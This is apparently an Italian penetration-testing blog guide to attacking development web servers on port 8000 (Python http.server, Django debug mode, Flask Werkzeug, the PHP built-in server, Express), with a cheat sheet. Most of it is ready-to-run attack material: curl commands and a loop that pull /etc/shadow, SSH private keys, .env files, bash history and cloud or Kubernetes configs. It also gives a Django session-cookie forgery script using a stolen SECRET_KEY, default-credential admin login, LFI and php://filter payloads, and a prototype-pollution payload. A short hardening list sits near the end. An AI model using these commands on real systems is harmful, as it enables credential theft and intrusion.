Porta 8000 Pentest: Django Debug, Python http.server e RCE

Guida offensiva porta 8000: Django DEBUG=True, Python http.server directory listing, Flask Werkzeug console, PHP built-in server e credential extraction. Con cheat sheet.
- Pubblicato il 2026-04-17
- Tempo di lettura: 5 min
La porta 8000 TCP è la porta di default di mezza dozzina di framework di sviluppo web: Django (python manage.py runserver), PHP (php -S 0.0.0.0:8000), Python http.server (python3 -m http.server), Node.js in numerose configurazioni e molti altri. È la porta che ogni sviluppatore ha usato almeno una volta nella vita per testare il suo codice in locale. Il problema — e il motivo per cui la trovi durante un pentest — è che i server di sviluppo avviati per “un test veloce” finiscono esposti in produzione, in staging accessibile da Internet, o nella rete interna senza alcuna protezione. Un server Django con DEBUG=True espone traceback completi con variabili locali (incluse credenziali), un python3 -m http.server espone l’intero filesystem con directory listing, e un server PHP built-in non ha nessuno dei meccanismi di sicurezza di Apache o Nginx.
Nel penetration testing, la porta 8000 è un segnale di “qualcosa che non dovrebbe essere qui” — e quasi sempre contiene informazioni utili o path diretti verso una shell.
Cosa Trovi sulla Porta 8000 #
nmap -sV -p 8000 10.10.10.40| Banner / Risposta | Servizio | Gravità |
|---|---|---|
Server: WSGIServer/0.2 CPython/3.x | Django dev server | Alta (se DEBUG=True) |
Server: SimpleHTTP/0.6 Python/3.x | python3 -m http.server | Critica (directory listing) |
| Directory listing HTML con icone Python | python3 -m http.server | Critica |
X-Powered-By: PHP/8.x | PHP built-in server | Media-Alta |
X-Powered-By: Express | Node.js Express | Media |
Server: Werkzeug | Flask dev server | Alta (se debug mode) |
Server: uvicorn | FastAPI/Starlette | Media |
Server: Gunicorn o uWSGI | Python WSGI prod | Bassa (setup corretto) |
# Identifica il framework
curl -s http://10.10.10.40:8000/ -I
curl -s http://10.10.10.40:8000/ | head -501. Python http.server — Directory Listing dell’Intero Filesystem #
Il servizio più pericoloso che puoi trovare sulla 8000. Qualcuno ha lanciato python3 -m http.server e si è dimenticato di chiuderlo — o peggio, lo usa come “file server rapido” in produzione.
Identificare #
curl -s http://10.10.10.40:8000/<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN">
<html><head><title>Directory listing for /</title></head>
<body><h1>Directory listing for /</h1>
<ul>
<li><a href="bin/">bin/</a></li>
<li><a href="etc/">etc/</a></li>
<li><a href="home/">home/</a></li>
<li><a href="opt/">opt/</a></li>
<li><a href="root/">root/</a></li>
<li><a href="var/">var/</a></li>
</ul>
</body></html>Stai vedendo il filesystem root del server. Tutto è leggibile.
Extraction completa #
# /etc/passwd — utenti del sistema
curl -s http://10.10.10.40:8000/etc/passwd# /etc/shadow — hash password (se il server gira come root)
curl -s http://10.10.10.40:8000/etc/shadowroot:$6$rounds=5000$salt$hash...:19400:0:99999:7:::
admin:$6$rounds=5000$salt$hash...:19400:0:99999:7:::Hash SHA-512 → Hashcat mode 1800.
# Chiavi SSH
curl -s http://10.10.10.40:8000/root/.ssh/id_rsa
curl -s http://10.10.10.40:8000/home/admin/.ssh/id_rsa
curl -s http://10.10.10.40:8000/home/admin/.ssh/authorized_keys# Configurazione applicazioni
curl -s http://10.10.10.40:8000/var/www/html/.env
curl -s http://10.10.10.40:8000/opt/app/.env
curl -s http://10.10.10.40:8000/opt/app/config/database.yml# Bash history (comandi eseguiti — spesso con password inline)
curl -s http://10.10.10.40:8000/root/.bash_history
curl -s http://10.10.10.40:8000/home/admin/.bash_history# Docker e Kubernetes config
curl -s http://10.10.10.40:8000/root/.kube/config
curl -s http://10.10.10.40:8000/root/.docker/config.json# Script automazione con credenziali
for f in .env .bashrc .profile .pgpass .my.cnf .git-credentials .aws/credentials; do
echo "=== $f ==="
curl -s "http://10.10.10.40:8000/root/$f" 2>/dev/null
curl -s "http://10.10.10.40:8000/home/admin/$f" 2>/dev/null
doneSe il server gira come root dalla directory /, hai accesso in lettura a tutto il filesystem. Questo è letteralmente game over.
Wget ricorsivo #
# Scarica tutto (con cautela — potrebbe essere enorme)
wget -r -np -R "index.html*" http://10.10.10.40:8000/home/
wget -r -np http://10.10.10.40:8000/opt/app/2. Django Debug Mode #
Django è il framework web Python più usato per applicazioni enterprise. Il suo development server (runserver) ascolta sulla porta 8000 di default. Con DEBUG=True (il default in development), Django espone informazioni devastanti nei messaggi di errore.
Identificare Django #
curl -s http://10.10.10.40:8000/ -IServer: WSGIServer/0.2 CPython/3.11.0WSGIServer + CPython = Django dev server al 95%.
Provocare un errore per ottenere il debug page #
# URL inesistente
curl -s http://10.10.10.40:8000/a_page_that_does_not_exist_xyz/Se Django è in debug mode, risponde con una pagina gialla dettagliatissima:
<!-- La pagina di debug contiene: -->
- Request URL, method, GET/POST data
- Exception Type e valore
- TRACEBACK COMPLETO con codice sorgente di ogni frame
- LOCAL VARIABLES di ogni frame (possono contenere password, token, secret_key)
- Django settings (DATABASES, SECRET_KEY, INSTALLED_APPS)
- Tutte le URL patterns dell'applicazione (mappa completa degli endpoint)Estrazione settings #
Il debug page mostra i Django settings, che tipicamente includono:
DATABASES = {
'default': {
'ENGINE': 'django.db.backends.postgresql',
'HOST': 'db-prod.corp.internal',
'NAME': 'webapp',
'USER': 'django_user',
'PASSWORD': 'Dj@ng0_DB_2025!' # ← Visibile nel debug page
}
}
SECRET_KEY = 'django-insecure-abc123def456...' # ← Usabile per forgery di session cookie
EMAIL_HOST_PASSWORD = 'smtp_password'
AWS_SECRET_ACCESS_KEY = 'wJalrXUtnFEMI...'Credenziali PostgreSQL/MySQL, Django SECRET_KEY (→ session cookie forgery), credenziali SMTP, AWS keys.
URL patterns → mappa completa dell’API #
Il debug 404 mostra tutte le URL patterns:
curl -s http://10.10.10.40:8000/xyz_not_found/ | grep -oE 'href="[^"]*"'/admin/
/api/v1/users/
/api/v1/users/<id>/
/api/v1/internal/debug/
/api/v1/internal/export/
/webhook/payment/
/health/Endpoint come /api/v1/internal/ e /webhook/payment/ non sarebbero mai stati trovati con directory bruteforce.
Django admin panel #
curl -s http://10.10.10.40:8000/admin/Se il pannello admin è attivo (lo è quasi sempre in Django):
# Default / common credentials
curl -s -X POST http://10.10.10.40:8000/admin/login/ \
-d "username=admin&password=admin&csrfmiddlewaretoken=$(curl -s http://10.10.10.40:8000/admin/login/ | grep -oP 'csrfmiddlewaretoken" value="\K[^"]*')"Con accesso admin → CRUD su tutti i modelli → modifica password utenti, crea superuser, accesso ai dati.
Session forgery con SECRET_KEY #
Se hai ottenuto il SECRET_KEY dal debug page:
# Forgia un session cookie come superuser
from django.core import signing
from django.contrib.sessions.backends.signed_cookies import SessionStore
SECRET_KEY = 'django-insecure-abc123def456...'
# Crea una sessione con i dati dell'admin
session_data = {'_auth_user_id': '1', '_auth_user_backend': 'django.contrib.auth.backends.ModelBackend'}
# Firma con il SECRET_KEY rubato
cookie = signing.dumps(session_data, key=SECRET_KEY, salt='django.contrib.sessions.backends.signed_cookies')# Usa il cookie forgiato
curl -s http://10.10.10.40:8000/admin/ -H "Cookie: sessionid=$FORGED_COOKIE"3. Flask/Werkzeug Debug Mode #
Se il banner è Server: Werkzeug:
# Console debug interattiva
curl -s http://10.10.10.40:8000/consoleSe accessibile → RCE diretta con Python. Per l’exploitation completa: porta 5000 Flask.
4. PHP Built-in Server #
php -S 0.0.0.0:8000Il server PHP built-in non è pensato per la produzione — manca: virtual hosting, rate limiting, mod_security, .htaccess. È il PHP raw, senza protezioni.
Identificare #
curl -s http://10.10.10.40:8000/ -I | grep "X-Powered-By"X-Powered-By: PHP/8.2.0Exploitation #
# File sensibili PHP
curl -s http://10.10.10.40:8000/info.php # phpinfo() — espone tutto
curl -s http://10.10.10.40:8000/.env # Environment variables
curl -s http://10.10.10.40:8000/wp-config.php # Se è WordPress
curl -s http://10.10.10.40:8000/config.php # Configurazione custom
curl -s http://10.10.10.40:8000/vendor/autoload.php # Composer dependenciesphpinfo() da solo è un finding importante: espone path, variabili d’ambiente (con credenziali), versione PHP, moduli caricati, disable_functions (quali funzioni sono bloccate — suggerisce path RCE).
LFI (Local File Inclusion) #
# Testa LFI su parametri
curl -s "http://10.10.10.40:8000/page.php?file=../../etc/passwd"
curl -s "http://10.10.10.40:8000/page.php?file=php://filter/convert.base64-encode/resource=config.php"5. Node.js / Express #
curl -s http://10.10.10.40:8000/ -I | grep "X-Powered-By"X-Powered-By: ExpressEndpoint comuni da testare #
# Documentazione API (spesso esposta in dev)
curl -s http://10.10.10.40:8000/api-docs/
curl -s http://10.10.10.40:8000/swagger.json
curl -s http://10.10.10.40:8000/graphql # GraphQL endpoint
# Environment leaks
curl -s http://10.10.10.40:8000/env
curl -s http://10.10.10.40:8000/debug
curl -s http://10.10.10.40:8000/health
curl -s http://10.10.10.40:8000/metrics # Prometheus metricsPrototype pollution #
Express e Node.js sono vulnerabili a prototype pollution via JSON body:
curl -s -X POST http://10.10.10.40:8000/api/users \
-H "Content-Type: application/json" \
-d '{"__proto__":{"admin":true}}'6. Post-Exploitation — Da Dev Server a Rete Interna #
Un server di sviluppo compromesso è un pivot point eccellente:
# Il server dev è spesso nella rete interna
# Credenziali trovate → testa su servizi interni
# Database credentials dal .env
# → connettiti al database (PostgreSQL, MySQL, MongoDB)
# AWS keys dal settings.py
# → enumera S3, EC2, IAM
# SSH keys dal filesystem
# → accesso ad altri serverIl server di dev è tipicamente connesso a: database di staging/produzione, repository Git, CI/CD, servizi cloud. Ogni credenziale trovata è un vettore di lateral movement.
7. Detection & Hardening #
- Mai esporre un dev server su Internet —
runserverehttp.serversono per sviluppo locale DEBUG=Falsein produzione — sempre, senza eccezioni- Usa un vero web server — Nginx + Gunicorn/uWSGI per Django, Nginx + PHP-FPM per PHP
- Bind su 127.0.0.1 —
python manage.py runserver 127.0.0.1:8000, non0.0.0.0 - Firewall — se un dev server deve essere raggiungibile, limitalo a IP specifici
- Non servire filesystem root — se usi http.server, specifica la directory
- Rimuovi
SECRET_KEYdi default — genera una chiave forte per ogni environment - Non committare
.env— usa.gitignoree secret manager
8. Cheat Sheet Finale #
| Azione | Comando |
|---|---|
| Nmap | nmap -sV -p 8000 target |
| Identificazione | curl -s http://target:8000/ -I |
| Directory listing | curl -s http://target:8000/ (se Python http.server) |
| File critici | |
| /etc/passwd | curl -s http://target:8000/etc/passwd |
| /etc/shadow | curl -s http://target:8000/etc/shadow |
| SSH keys | curl -s http://target:8000/root/.ssh/id_rsa |
| .env | curl -s http://target:8000/opt/app/.env |
| bash_history | curl -s http://target:8000/root/.bash_history |
| Django | |
| Debug page | curl -s http://target:8000/nonexistent_xyz/ |
| Admin | curl -s http://target:8000/admin/ |
| URL patterns | Dal debug 404 |
| Flask | |
| Console | curl -s http://target:8000/console |
| PHP | |
| phpinfo | curl -s http://target:8000/info.php |
| LFI test | curl "http://target:8000/page.php?file=../../etc/passwd" |
| Node.js | |
| Swagger | curl -s http://target:8000/swagger.json |
| GraphQL | curl -s http://target:8000/graphql |
Riferimento: Django Security documentation, OWASP Testing Guide, HackTricks web. Uso esclusivo in ambienti autorizzati. https://www.pentestpad.com/port-exploit/port-8000-web-servers-development-apis
Sviluppatore o sysadmin? Verifica che i tuoi server dev non siano esposti con un assessment HackIta. Vuoi capire come ragiona un attaccante? Formazione pratica 1:1.







